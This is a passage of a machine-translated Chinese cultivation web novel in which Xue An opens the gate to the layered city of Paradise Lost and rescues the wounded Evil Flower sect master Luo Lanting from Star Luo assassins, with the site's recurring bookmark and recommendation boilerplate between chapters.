    Xia Qi stared at Xue An��s back blankly. She was in a daze. It wasn''t until Xia Zheng stepped forward and pushed her gently that she woke up like a dream and hurriedly pointed at her. Xue An gave a salute.


    "Thank you, my lord, for giving the merits!"


    Xue An didn''t look back, and smiled faintly, "You don''t have to thank me, thank you if you want to!"


    Speaking of this, Xue An slowly raised his head and looked at the sky outside the window.


    "How long is it from the opening of Paradise Lost?"


    Xia Zheng leaned forward and said, "My lord, if we count on the date of the last opening, there are still three days!"


    "Three days..." Xue An muttered softly, then shook his head, "Too slow!"


    "There are still many things waiting for me to deal with, so I don''t have the time to wait here!"


    "But... Paradise Lost hasn''t opened yet, my lord, even if you are in a hurry, you can''t help it!" Xia Zheng hurriedly persuaded.


    Xue An smiled, "Who said there is no way?"


    "Huh?" Xia Zheng was taken aback.


    At the same time, Xue An slowly raised his hand and pointed at the sky.


    "open!"


    Give an order.


    The turbulent spiritual thoughts hit the sky like stormy waves.


    boom!


    After a loud and deafening noise, a vague gate appeared in the sky above Wuwang Cliff.


    This loud noise also attracted the attention of the entire Wuwangya.


    Everyone looked up, and then someone exclaimed, "God, isn''t that the gate leading to Paradise Lost?"


    "Yes! But how come the opening date this time is three days earlier?"


    Exclamations were everywhere.


    Xue An turned his head and smiled at the shocked Xia Zheng and Xia Qi and others, "Look, isn''t this solved?"


    After all, Xue An flicked his sleeves, his whole body lifted up and appeared above the sky.


    Seeing this scene, the whole Wuwangya was in an uproar.


    "It''s him! The adult who slaughtered the dragon clan with his own power!" someone shouted solemnly.


    "What is he doing?"


    "Could it be that the gate leading to Paradise Lost was opened in advance, and this is also related to this adult?"


    In the exclamation, Xue An looked down at the city at his feet, smiled faintly, and then took a step, the whole person turned into a white light, and flew straight into the gate courtyard, disappearing.


    "My lord!" After seeing Xue An disappearing in the courtyard, Xia Qi suddenly shouted, and then tears burst into her eyes.


    Xia Zheng wanted to say something when he saw it, but in the end, all the thousands of words turned into a long sigh.


    This is a bizarre world.


    The whole city is like a piece of cake, divided into as many as thirteen layers.


    That''s right!


    All 13 floors are Paradise Lost.


    It''s just that the people living on each floor are different.


    When you stand in the bottom city and look up, you can see the brightly lit, drunken upper city above your head.


    And these cities are superimposed one by one. If the light conditions are good, you can even see the cities on the upper five floors.


    But you can''t see it further up.


    Because those high-rise cities are often obscured by fog, they look like a heavenly palace from a distance.


    now.


    The violent rain poured down from the dark night sky, reflecting the brilliance of the city above very illusory.


    The ground was full of mud, and the rain was too late to drain, so it flowed freely on the streets.


    This is a dirty city.


    Not just because of the dead body floating in the gutter because of rain.


    More because of the chaos here.


    This is the lowest city in Paradise Lost.


    A chaotic city without rules.


    There are only two kinds of people who can survive here, ruthless people and even more ruthless people!


    now.


    In a dark alley, a person came.


    The huge black umbrella is like a castle, blocking the pouring rain.


    But under the umbrella, it was a pale and delicate face.


    An evening gown is simply incompatible with the surrounding environment, but it reveals her slender figure.


    But her stature is not high can be described as small and exquisite, and a pair of double ponytails loosely tied behind her head makes her look a little immature.


    The appearance of this woman, or Loli, made the surrounding quiet.


    In the shadow of the alley, a pair of prying eyes began to appear, all looking at the woman greedily.


    The danger is beginning to spread!


    But at this moment, the double ponytail loli turned her head and glanced at the dark corner, and then a cold smile appeared on her face.


    With her smile, on her chest, a red and **** flower bloomed quickly, making her collarbone pale and slender.


    After seeing this flower, there was a horrified roar in the shadow, and then all those greedy eyes disappeared in an instant.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 1599 Chaos City (Second)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1596： Evil flower

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    Everything returned to silence, only the violent rain continued to raging.


    Double Ponytail Lori narrowed her gaze and continued to walk forward.


    She walked through an alley, turned around a ruin, and finally came to a wilderness.


    The rain here is much smaller than in the city, but it is still violent.


    The double ponytail Lolita turned her eyes, stood still for a while, and then stepped into the wilderness.


    The surrounding area was pitch black, and the trees that swayed with the wind and rain were faintly visible, which seemed very crippled in such a rainy night.


    Double Ponytail Lori kept walking, and soon passed through a large jungle and came under a big tree in the middle of the wilderness.


    This big tree has luxuriant leaves and blocks a lot of rain, so the ground under the tree does not appear to be so wet.


    And just in the corner of this open space, a small tombstone was erected.


    Seeing this tombstone, the eyes of Double Ponytail Lori showed sadness, and then slowly walked to the tombstone.


    "Brother, I came to see you again!"


    The wind and rain were still there, a faint thunder came from the distant sky, and then quickly ran across the sky.


    Click!


    A flash of light illuminates the world, reflecting the tears on the face of Double Ponytail Lori.


    In this desolate world, one person and one tomb stood opposite each other, looking extremely desolate.


    The double ponytail Lori watched quietly, slowly squatting down, gently stroking this small tombstone, and then gently resting her head on it.


    "Brother, I''m so tired! Really tired!"


    Speaking of this, the twin ponytail loli began to sob in a low voice.


    Soon, the cry of crying became louder and louder, and eventually turned into howling.


    It was just such a cry that was quickly swallowed by the violent rain.


    a long time.


    After this almost venting cry, the twin ponytail Lori gradually stopped crying, and then gently kissed the tombstone.


    "Brother, now only in front of you can I speak my heart! Thank you!"


    After that, she slowly stood up, raised her hand to pluck the reddening flower on her chest, and put it on the tombstone.


    The flower swayed slightly, then lowered its head timidly, gradually becoming dim.


    Double Ponytail Lori took a deep breath, "Brother, I will solve some minor troubles outside! Next year, I will see you again!"


    After that, she turned around, and the previous weakness and grief disappeared instantly, replaced by a cold murderous intent on her face.


    "Come out! It''s hard for you to find here after such a heavy rain!"


    Following her voice, in the boundless wilderness, shadows began to appear.


    Click!


    At this moment, another flash of light flashed across the sky.


    The dazzling light illuminates these figures appearing in the wilderness. Everyone is wearing a thick raincoat, and their faces are hidden in the shadows, but on the chest, there is a star-falling emblem.


    On such a rainy night, such a group of silent people suddenly appeared, and it felt like a ghost crawling out of hell.


    Double Ponytail Lolita looked cold, "Xing Luo Dao! Ha ha, I really didn''t expect that in order to deal with me alone, you Xing Luo Dao would not hesitate to use so many people, it is really exciting!"


    There was a jealous laugh from behind the crowd, "The Sovereign of the dignified and extremely evil flower is naturally worthy of such a scene!"


    "Oh? So, did you Xingluodao have already set a trap?" Double Ponytail Lolita said flatly, but her eyes flashed with a dangerous cold light.


    The crowd parted a road automatically, and a smiling, beautifully dressed man walked out slowly, and then smiled at the double ponytail loli.


    "Luo Lanting, you are right! In order to deal with you, we have been planning for a long time!"


    That''s right, this double ponytail loli is Luolan Pavilion, the master of the Evil Flower.


    She looked at the man quietly and suddenly sneered.


    "Xu Xianyue! I didn''t expect even you to be dispatched. It seems that you Xingluodao... you really are willing to pay for the capital!"


    Xu Xianyue shrugged slightly, "I said, as long as the Sect Master of the Evil Flower can be wiped out, it will be worth the price no matter how much!"


    Luo Lanting sighed softly upon hearing the words, "To know my deeds so accurately, it seems that someone in the Evil Flower has betrayed me!"


    "Conspiracy and betrayal, this was originally a normal thing in Paradise Lost, right?" Xu Xianyue smiled happily.


    Luo Lanting raised his head to look at the branch that stretched to the sky, and said lightly: "Yes! Paradise Lost should have been like this! But I always thought that the Evil Flower would be different! Now it seems... I am too naive!"


    Looking at Luolan Pavilion, who seemed to be in a state of loss, Xu Xianyue winked at the hand behind him.


    The silhouettes disappeared silently into the rain curtain.


    Then Xu Xianyue smiled and said without a smile: "Is this the place where the setting sun that fought alone in all directions? Tsk tsk, it seems that both of you brothers and sisters are predestined here, and you will fall here one after another. That''s it!"


    Xu Xianyue''s remarks obviously contained evil intentions, in order to deliberately provoke Luo Lanting with what happened back then.


    For those of them who dance on the blade of death all day and live on blood, once the prey is caught in anger, it means that she is not far from death.


    really.


    A look of anger appeared in Luo Lanting''s eyes.


    But this only existed for a very short moment, even if it returned to normal.


    But for these killers, this is enough.


    I saw a figure violent from the darkness, and the violent violent air current turned the falling raindrops into an indestructible weapon.


    Tuk tuk!


    After a few muffled noises, the trees began to snap off.


    These big trees, which have survived for hundreds of years and have extremely hard trunks, were directly pierced into a sieve.


    One can imagine what it would be like if it fell on people.


    But just when these raindrops had already flown to the Luolan Pavilion and were about to penetrate them, a huge black umbrella suddenly opened, blocking these raindrops.


    There is no sound!


    These raindrops containing violent star power just disappeared silently.


    A great danger came to my mind.


    Those Star Luo assassins who rushed forward did not hesitate and started to retreat quickly But at this moment, the huge umbrella slowly lifted, revealing the delicate cheeks of Luolan Pavilion.


    Seeing the brilliance flickering in her eyes, she said lightly: "I want to go like this after hitting someone? How can there be such a cheap thing in the world!"


    With the voice.


    Under the skin of Luolanting''s cheek, a flower tattoo loomed, exuding a dangerous and strange beauty.


    Bang!


    When this flower appeared, the figures that were retreating suddenly shook, and then they all fell to the ground.


    Immediately afterwards, slender rhizomes appeared in their mouths and noses, and after swaying in the wind for a few times, a red and **** strange flower slowly bloomed.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1600 The Evil Flower (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1597： Rainy night

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    Very evil flower!


    Seeing this magnificent scene, Xu Xianyue and the others retreated like a snake and scorpion, for fear that they might be contaminated.


    And at this moment, these assassins who fell to the ground hadn''t died yet, but this kind of life was worse than death.


    I saw them struggling on the ground, wanting to scream, but they couldn''t even make a sound, but made the extremely evil flower more vivid.


    When the extremely evil flower reached its full bloom, only a bang was heard.


    The heads of these fallen killers began to burst one by one.


    After a burst of muffled noises, none of the killers who rushed up before were left, and they all fell to the ground.


    The rain continued to wash the ground mercilessly, and the blood on the ground gathered into a pool of blood, exuding nauseating blood.


    Xu Xianyue''s complexion became extremely ugly.


    Although he had already raised the strength of this Luolan Pavilion, he did not expect that the power of this extremely evil flower was beyond his imagination.


    In just one face, one-fifth of his subordinates were damaged, but Luo Lanting was unscathed.


    This result is simply unacceptable.


    at the same time.


    Luo Lanting held this huge umbrella and slowly walked out from under the big tree. The exquisite high-heeled shoes stepped on those muddy pools of blood, giving people an extremely cruel beauty.


    "If the so-called Xingluo''s power is only so powerful, I am really disappointed!" Luo Lanting raised his head, his eyes were full of redness, and he licked his lips. "What do you mean?"


    Xu Xianyue''s heart was cold for no reason, but at this point, he had nowhere to go.


    You must know that Xingluo Dao was exhausted by various forces before setting up this killing game. If he could not complete the task before the rain stopped, then he might have to die before Luo Lanting.


    So he hissed and shouted: "Luo Lanting, you must die today! Do it!"


    With an order, these Star Luo killers swarmed up and rushed towards Luolan Pavilion like a black tide.


    Facing such a powerful killing game, Luo Lanting showed no fear, but gently stroked the hair on his cheek and bit it in his mouth.


    Then she suddenly raised her eyes and slammed the handle of the giant umbrella.


    A crisp sound!


    The handle of the umbrella split directly from the middle, and then Luo Lanting suddenly pulled out.


    Huh!


    A long sword that resembled a stream of autumn water suddenly appeared in Luo Lanting''s hands.


    Luo Lanting pulled up a sword flower, exhaled and uttered softly, "Kill!"


    After all, she stepped forward, and greeted the Star Luo killers who rushed straight forward.


    But seeing a sword light rushing from left to right in the black wave of Star Luo killers like a dragon entering the sea.


    Under the white sword light, the blood flower is blooming wantonly.


    I don''t know how long it took.


    Luo Lanting cut off a Star Luo assassin who was ambushing underground with a single sword, then turned around with another sword, and directly chopped off the head of another assassin who intended to sneak attack.


    Then she held the sword in her hand and looked around warily.


    At this moment, the exquisite evening dress on her body had long been soaked in rain and blood, and a huge wound slanted down from her left shoulder, almost splitting her belly.


    Although the blood had stopped, but under the washing of the rain, the wound had an ominous whiteness.


    Luo Lanting panted slightly, and the flower tattoo on his face became more obvious.


    As for those Star Luo killers, their eyes were filled with horror at this moment.


    Because from the beginning of the battle to the present, there have been countless Xingluo killers who died under the sword of Luolan Pavilion.


    This kind of method of killing gods makes these killers who are used to seeing death fear.


    So the situation at the moment has fallen into a stalemate.


    "You can''t do it!" Xu Xianyue, who had been hiding in the corner without doing anything, doing the whole process of watching from the wall, suddenly appeared from the shadow and laughed sullenly.


    Luo Lanting gasped slightly, and did not speak.


    "Seriously, I''m already surprised that you can survive the siege of so many people. It''s a pity... you still can''t get through after all!" The expression on Xu Xianyue''s face became more and more smug.


    "Know that the reason why I watched and didn''t do anything was waiting for this moment! Now I am full of energy and my cultivation is complete. It is at the peak of my life, but you are seriously injured, so what do you use to fight me? ?"


    Luo Lanting''s face became more difficult to look, and he snorted coldly, "You can try!"


    "Hahahahaha!" Xu Xianyue laughed up to the sky, "I like your stiff mouth, so you will die in my hands, and your head will become my best collection!"


    Words fall.


    Xu Xianyue''s body suddenly turned into countless starlight, scattered into the darkness.


    As the great guardian of the Star Luo Dao, his strength is naturally not comparable to those of ordinary killers.


    This incarnation of the stars is as unrecognizable as an antelope with horns.


    He seemed to disappear, and he seemed to be everywhere.


    In this case, the darkness has become more and more dangerous.


    Luo Lanting''s face was pale, but at this time he slowly closed his eyes, as if he had given up resistance.


    At this moment, a figure composed of a faint starlight appeared beside Luo Lanting, and then he grinned and wanted to start.


    But at this moment, Luo Lanting suddenly opened his eyes.


    A hint of sarcasm flashed through Yin Hong''s eyes.


    Xu Xianyue''s heart shook violently, and his bones were trembling due to extreme danger.


    not good!


    I got it!


    This thought just came to mind, and his people had already subconsciously stepped back.


    But everything is too late.


    I saw Luo Lanting say softly: "Extremely evil...here!"


    Click!


    There was an imperceptible, crisp sound.


    Xu Xianyue let out a terrible cry, "No!"


    But the shout stopped abruptly, because at this moment, his mouth, nose, and body were all full of terrible flowers.


    Bang!


    Xu Xianyue fell to the ground unwilling to be a corpse by soy sauce.


    The powerful vitality made him still not dead at this time, but his eyes widened, looking at Luo Lan Pavilion with a bitter face.


    Luo Lanting smiled, opened her mouth and spit out a big mouthful of blood, but she wiped the blood off the corner of her mouth casually, and then said lightly: "Sorry, you are my best collection!"


    The rain is getting worse.


    In this kind of weather, even the most despicable villains will hide in dark corners and will not appear easily But in the wilderness, there is a staggering figure running around. With.


    At the moment, Luolan Pavilion had a few more huge wounds on his body.


    This is the price paid to get rid of those Star Luo killers.


    Excessive blood loss caused Luo Lanting''s eyes to start to bloom, and the punctured alveoli were blocking his breathing.


    Luo Lanting didn''t know how long she could last, but she still had to leave.


    At this moment, a flash of thunder flashed.


    Luo Lanting suddenly stopped, then raised the eye that was covered by blood, and said softly.


    "and also?"


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this (Chapter 1601 Rainy Night Fierce Battle (Second)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1598： His disciple?

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    "I knew that Xu Xianyue was a trash, as expected! With so many subordinates, he still let you escape!"


    Following the voice, a figure slowly emerged from a big tree in the distance.


    This is a woman in white, with a slender figure and beautiful appearance.


    Luo Lanting stared at the woman, his eyes flickering, and finally he said in a deep voice: "Lu Yinxi, you are here too!"


    "Sect Master Luo has good eyesight, yes! It''s me!"


    The visitor was another great protector of Xingluo Dao, Lu Yinxi.


    She looked up and down at Luo Lan Ting, and then chuckled with her mouth. "Sect Master Luo, I didn''t expect you to survive such a serious injury. It''s really admirable!"


    Luo Lanting didn''t say a word, but slowly raised the long sword in his hand and looked at Lu Yinxi blankly.


    "Stop talking nonsense, do it!"


    Facing the actions of Luo Lanting, Lu Yinxi''s eyes showed a strange color, but immediately his face showed a ridiculous color.


    "Sect Master Luo, I respect you as a strong side, so I didn''t make a direct attack, but do you think you can be my opponent with you now?"


    Luo Lanting still did not speak.


    "Actually, if it weren''t for Xu Xianyue that guy was too much to eat, you would already be dead at this moment!"


    "So I can give you the courtesy that a strong person deserves, do it yourself, it can be regarded as fulfilling the faces of your Luo brothers and sisters!" Lu Yinxi talked freely.


    Luo Lanting didn''t say a word, until she had finished speaking, did she show a sardonic smile.


    "Are you afraid?"


    "Nonsense, how could I be afraid? I''m just giving you face!"


    Luo Lanting shook his head lightly, and then bit the hair on his cheeks in his mouth again, "I don''t need someone else to give my face, so if you really want to kill me, let me go!"


    After all, a bright brilliance burst out of Luo Lanting''s eyes.


    Lu Yinxi''s heart trembled slightly.


    Because she does have a lot of jealousy about this Luolan Pavilion.


    Who doesn''t know the weirdness and power of the Evil Flower.


    In addition, she was able to break through Xu Xianyue''s mortal game, which shocked Lu Yinxi even more.


    That''s why she tried to use words to attack Luo Lanting, if she could make her own judgment, that would be great.


    unfortunately!


    This effort failed.


    Looking at Luolan Pavilion, who was still holding a long sword despite the bruises all over his body, and refused to back down.


    Lu Yinxi''s eyes fluctuated.


    She naturally wanted to kill Lanting and get this credit.


    But I was afraid that the dying struggle of this Luolan Pavilion would hurt me.


    This made her hesitate.


    But soon, the heart of gaining meritorious service gradually gained the upper hand.


    "Very good! It seems that you are really obsessed with it, and you are planning to die! Then I will fulfill you!"


    Having said that, as soon as Lu Yinxi stepped on the branch under his feet, the whole person was ejected in an instant, like a cannonball coming straight to the Luolan Pavilion.


    At this moment, one of Luo Lanting''s eyes had been stunned by blood, and only one eye remained available.


    But facing the blow of Lu Yinxi, she was still not afraid, instead she took a step forward and cut it down with a sword.


    Lu Yinxi never dreamed that Luolan Pavilion would not retreat but advance, so this step completely disrupted the rhythm of Lu Yinxi.


    Unprepared, this sword came straight to the front door of Luyinxi.


    Lu Yinxi was so scared that the souls were all gone, hurriedly urged the cultivation base, and gave birth to a flash.


    This was dangerous and dangerous to escape this sword.


    But before Lu Yinxi could breathe this breath, Luo Lanting stepped forward, and the sword in his hand fell again at an incredible angle.


    puff!


    Lu Yinxi screamed, and his figure retreated several hundred feet away.


    Looking at her left arm, there was already a shallow scar.


    This made Lu Yinxi''s complexion pale.


    Because she knew very well that if Luo Lan Ting were not weak at the moment, she could lose her resistance with this sword alone.


    This made Lu Yinxi secretly take a breath.


    Could it be that this Luolan Pavilion is all right, but just suffered some skin injuries?


    As soon as this thought came up, Luo Lanting suddenly snorted, and then the wounds all over his body burst open at the same time, and blood poured out, staining the ground under his feet.


    At this time, Luo Lanting could not even stand firmly, and her figure was shaking. She squatted on the ground with a sword, and she barely fell.


    Seeing this scene, Lu Yinxi, who had already retreated, couldn''t help being overjoyed.


    "Hehe! Sect Master, the end of the crossbow is uncomfortable, isn''t it? Hehe, it''s not in vain that I have waited for you in such a ghostly weather for so long, you go to death!"


    With the voice, Lu Yinxi once again rushed towards Luolan Pavilion.


    Lu Yinxi was full of confidence in his own victory.


    Although Luo Lanting still wanted to fight back, she felt that her eyes were black and couldn''t move at all.


    She sighed secretly and slowly closed her eyes.


    That''s it!


    It seems that everything is about to end, but he must never fall into the hands of Xing Luo Dao!


    Even if you die, you must die together.


    At this point, Luo Lanting instantly burned his whole body''s cultivation base, and his eyes were bright.


    The wicked flowers began to appear around her.


    Lu Yinxi''s face suddenly changed when he saw it, and a look of panic appeared in his eyes.


    The name of the Evil Flower is too great.


    Everyone knows how strange and difficult this thing is.


    But Lu Yinxi also knew that this was his last chance, otherwise, it might end up with nothing.


    How can this make Lu Yinxi, who has been waiting for a long time, willing to do so.


    So she snorted coldly, "Good job!"


    As he said, he condensed the power of the stars all over his body, and wanted to fight against these extremely evil flowers.


    at the same time.


    Supplemented by Luolan Pavilion''s nearly crazy burning cultivation base, these extremely evil flowers began to bloom slowly.


    Once it blooms, then Luolan Pavilion will die.


    But at this moment.


    Above the sky, the air flow suddenly began to disturb, and then the space gradually distorted, and finally a door of time and space appeared.


    Xue An walked out slowly, and then looked at the terrible flowers about to bloom on the ground in amazement his disciples? "


    And this scene naturally shocked Lu Yinxi and Luo Lan Ting, but both of them are flawless at the moment and care about the others, and are about to fight to death.


    Xue An shook his head gently, "It''s a bit of his breath, but how can it be so weak? Forget it, whether it is or not, it should be someone related to him, then I will help you!"


    As he said, Xue An waved casually.


    The extremely evil flower that was about to bloom instantly condensed, and then Peng shattered.


    Lu Yinxi was too late to be happy, because at the same moment, she felt a powerful and powerful force suddenly coming to her body.


    Then she couldn''t even struggle, so she was blown away.


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 1602 His disciple? (third more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1599： Tell me now, who taught you? ...

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    Before landing, Lu Yinxi had turned into a streamer and fled out frantically.


    She is a very smart person.


    In fact, there is no fool who can survive in Paradise Lost.


    This young man in white clothes who appeared suddenly is obviously not an ordinary person, just by shaking himself out with a casual wave, he can see that his strength is absolutely extraordinary.


    Coupled with the Luolan Pavilion where the beast was still fighting, Lu Yinxi immediately decided that his ambush had completely failed.


    Things are no longer possible.


    At this point, she gave up the goal without hesitation, turned around and fled.


    Xue An did not pursue it.


    Xue An didn''t bother to pay attention to this kind of little girl.


    The brilliance flashed in his eyes, and a divine thought quietly attached to the frantically fleeing Lu Yinxi.


    Then he turned his head and looked at the Luolan Pavilion in front of him with interest.


    Luo Lanting was close to the edge of a coma at this moment, but in the face of this sudden situation, she couldn''t help being shocked, and then bit her tongue violently to keep herself awake.


    "Who are you?" Luo Lanting asked in a deep voice.


    Xue An smiled slightly, "It doesn''t matter who I am, the key is, who taught you this?"


    Following the voice, Xue An stretched out his hand, and a very evil flower slowly bloomed in the palm of his hand.


    Luo Lanting was shocked, looking at the extremely evil flower blooming in Xue An''s hand in disbelief, "How is it possible? How could you have the extremely evil flower?"


    Xue An smiled, "Is this... difficult?"


    As he said, another extremely evil flower slowly bloomed.


    Luo Lanting''s complexion became more solemn.


    Xue An said lightly: "Tell me, who is the one who taught you this!"


    "Why should I tell you?" Luo Lanting slowly took a step back, holding the long sword in both hands, and said with a guarded face.


    "Do it!"


    Xue An was stunned when he saw this, and immediately understood, looking at Luolan Pavilion, who was approaching the enemy with a smile.


    "You seem to have misunderstood a little. I have no bad intentions! In fact, I am still very good friends with the person who taught you this skill, but as far as I know, he has long stopped accepting disciples, so I am very curious. How did you learn this? And so...weak?"


    After listening to Xue An��s explanation, Luo Lanting was still a little skeptical, but he still said with a full face: "How do I know if you are in the same group as Xingluodao?"


    Xue An was startled slightly, "Xing Luodao? Are you talking about the person who just ran away?"


    "of course!"


    "Very well, since you doubt it, then I will prove it to you!"


    As he said, Xue An slowly raised his hand, and a huge divine mind overflowed, and instantly he got in touch with the divine mind planted on Lu Yinxi before.


    Immediately afterwards, Xue An suddenly shook his hand and gave a soft drink.


    "come back!"


    With an order, Lu Yinxi, who had fled hundreds of miles away, felt his body tighten, and then his whole body froze in the air.


    How is this going?


    This idea just came up in Lu Yinxi''s mind.


    A huge force came from behind, which caused her to retreat quickly.


    "No! What''s going on? It''s impossible!" Lu Yinxi was so scared that he was so scared that he shouted frantically.


    It''s a pity that all her shouts can''t penetrate this heavy rain curtain.


    In an instant, she was dragged back by life.


    When I saw the smiling young man in white clothes again, Lu Yinxi was struck by lightning, and his hairs stood up.


    "Big... Your lord is forgiving!"


    Without hesitation, Lu Yinxi chose to surrender and beg for mercy.


    Because the strength that Xue An demonstrated just now has exceeded her imagination.


    Obviously he had run out of hundreds of miles, but he was dragged back in a breath.


    How powerful is this cultivation base to do?


    Xue An only smiled faintly when he heard the words, and then looked at Luolan Pavilion.


    "Didn''t you say that I was in the same group with her? What can I say now?"


    Luo Lanting also looked silly.


    She didn''t expect to be able to play like this.


    Combined with what Xue An had said before, she couldn''t help but believe a little bit, and gradually showed respect in her eyes.


    "My lord, I''m sorry, I was thinking too much before!"


    Xue An smiled when he heard the words, and then turned to look at Lu Yinxi who was completely frightened, "Well, you can go now!"


    After all, Xue An directly let go of his control over Lu Yinxi.


    After feeling that he had indeed regained his freedom, Lu Yinxi almost cried.


    What the **** is this doing?


    Originally ran well, suddenly he caught himself back.


    After saying a few words, he actually let himself leave again.


    This is too scary too!


    "Huh? Don''t want to go?"


    "Ah, no, no! I''m leaving now, now!" Lu Yinxi trembled in terror, answered repeatedly, and then fled like a bereavement dog.


    While running, she prayed secretly in her heart.


    God Star Luo, please don''t let me run into this white boy again! This guy is obviously a lunatic!


    Soon, Luyinxi disappeared.


    Then Xue An looked at Luolan Pavilion again.


    "Now you can tell me who taught you the wicked flower!"


    A look of sorrow appeared on Luo Lanting''s face, and then slowly lowered his head, "My lord! Actually...I learned all the evil flowers from my brother!"


    "Your brother?"


    "Yeah!" Luo Lanting nodded heavily.


    "No wonder your extremely evil flower is so weak, where is your brother now?" Xue An asked with interest.


    "He..." Luo Lanting smiled sadly, "He''s dead!"


    After a while.


    Under the big tree.


    Xue An stood in front of the tombstone, staring quietly at this small grave bag.


    The extremely evil flower that Luolan Pavilion had placed on the tombstone had withered at this moment, making the tomb seem so ordinary.


    It is hard to imagine that this is the tomb of the setting sun that fought alone in all directions before and finally died in a heroic battle.


    After a long time, Xue An retracted his gaze and sighed slightly, "It really is his true disciple! But why is this?"


    "As far as your personality is concerned your apprentice was killed. You will never let go, but this time there has been no response, and according to normal circumstances, your The disciple shouldn''t appear in such a low-level city, so..."


    "What happened during the time after I left?"


    Xue An muttered to himself.


    Luolan Pavilion, who stood not far behind, did not hear these words.


    She just looked at her brother''s tombstone with a sad face, and the memory seemed to float back to the night that was also raining a few years ago.


    In that battle, his elder brother used his own power to fight against several major forces, and finally died of exhaustion after beating the eight giants.


    Those pictures, like those carved in the bones of Luolan Pavilion, will never be removed.


    In order to facilitate the next reading, you can click the "Favorites" below to record this time (Chapter 1603 Now tell me, who taught you? (first update)) Read the record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1600： Who is a traitor?

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    Even now, when Luo Lanting closes his eyes, he can still smell the blood that night, which is strong enough to make people sick.


    At this moment, Xue An slowly turned around and looked at Luolan Pavilion, "Are you his sister?"


    Luo Lanting nodded, "Yes!"


    "My sister?"


    Luo Lanting was silent for a moment, then shook his head.


    Xue An smiled, "Well, whether it''s a sister or not! Since you have inherited his skills, you are considered my junior, and I have an obligation to help you! So..."


    Xue An looked at Luo Lanting, who was wounded all over, and said softly: "What do you want to do most now?"


    Without any hesitation, Luo Lanting immediately said, "Vengeance!"


    Xue An was slightly surprised, "Vengeance?"


    He thought this girl would say something about healing, but he didn''t expect the first sentence to be revenge.


    Luo Lanting nodded heavily, "Yes, it''s revenge!"


    When he said this, Luo Lanting''s uninjured eyes burst out with an extremely bright brilliance, which made people look at him.


    "Oh? How do you want to take revenge?" Xue An found that he became more and more interested in this seemingly weak girl.


    "Xingluodao''s hatred will naturally be reported, but before that, I must first find out the traitor in the Evil Flower, and...these are my allies!"


    Speaking of this, Luo Lanting''s face showed sarcasm.


    "Xingluo Dao has used such a big battle, I don��t believe that all the forces in the city are unaware! So there is only one possibility, that is, my allies know what Xingluo Dao is going to do, but they do All chose to sit on the sidelines with cold eyes!"


    "So, they must also pay their due price!"


    Xue quietly looked at the double ponytail loli, and finally nodded with a smile.


    "Very good, then I will help you this time!"


    "Thank you, sir!" Luo Lanting said sincerely, bowing his head.


    At this moment, she was already convinced that this young man in white, who looked not much older than herself, did indeed have a close connection with her brother''s master.


    This fact also shocked her.


    You have to know who the master of your brother is, even she doesn''t know!


    I only know that it is an existence with a huge background, even from the top city.


    And if this young man also knew him, wouldn''t it mean that he also came from the top city?


    These questions hovered in Luo Lanting''s mind.


    At this time, Xue An raised his eyes and looked at the night sky beyond the big tree, and said lightly: "It''s raining less!"


    Luo Lanting also looked outside.


    really.


    The once dense rain curtain has now become sparse, leaving only the damp and cold wind raging.


    Xue An turned his head to look at Luolan Pavilion, "Can I still go?"


    Luo Lanting nodded, "Yes!"


    "Very good! Then... leave now!"


    After all, Xue An''s toes flew into the night like an arrow from a string.


    When Luo Lanting saw this, he was taken aback, and immediately laughed bitterly.


    It seems that I really shouldn''t be brave just now!


    Not to mention the seriously injured self, even in the heyday of self, it is impossible to catch up with this white-clothed boy!


    While hesitating, a brilliance suddenly flew from the darkness, and then sank into Luo Lanting''s body.


    Luo Lanting instantly felt that he was lightened all over, and even his previous injuries healed more than half.


    "Keep up!" Xue An''s voice rang from her ears.


    Luo Lanting lowered his head in awe, "Yes!"


    Then he also flew into the darkness.


    The headquarters of the Evil Flower.


    The atmosphere in the room is very depressing.


    At this moment, the rain outside the window has gradually stopped.


    At Zhuangdian by the window, a heart is getting more and more irritable.


    She kept looking out the window, but the path outside the window was always empty.


    With the passage of time, Zhuang Dian''s heart gradually calmed down after seeing everything as usual.


    It seems that things should go smoothly.


    Otherwise, she should have returned long ago.


    Thinking of this, Zhuang Dian faintly became excited.


    At this moment, a middle-aged woman with a solemn expression came over.


    "My Sect Master hasn''t returned yet?"


    Zhuang Dian immediately condensed all the joy in his eyes, changed to a heavy look, bowed his head and said, "Not yet!"


    "Oh! At that time, I advised the lord not to go alone, but she just wouldn''t listen!" The middle-aged woman sighed lightly.


    "It should be all right! Sect Master''s strength is shocking, who dares to attack her?" Zhuang Dian said tentatively.


    "That''s what I said, but who knows! And this heavy rain is too unlucky, and I have always had an ominous premonition, as if something big is about to happen!"


    Zhuang Dian stopped talking, but lowered his head deeply, smug in his heart.


    Ha ha!


    Your hunch is correct.


    Because from now on, Luolan Pavilion will never be able to return!


    But when this thought of her just came up, she heard the middle-aged woman suddenly scream.


    "who?"


    As soon as the voice fell, I heard a quiet female voice coming from the darkness, "It''s me!"


    As soon as this sound came out, the room instantly boiled.


    Many people who were looking forward to it stood up one after another, and said with surprise on their faces: "It''s the suzerain!"


    "Sect Master is back!"


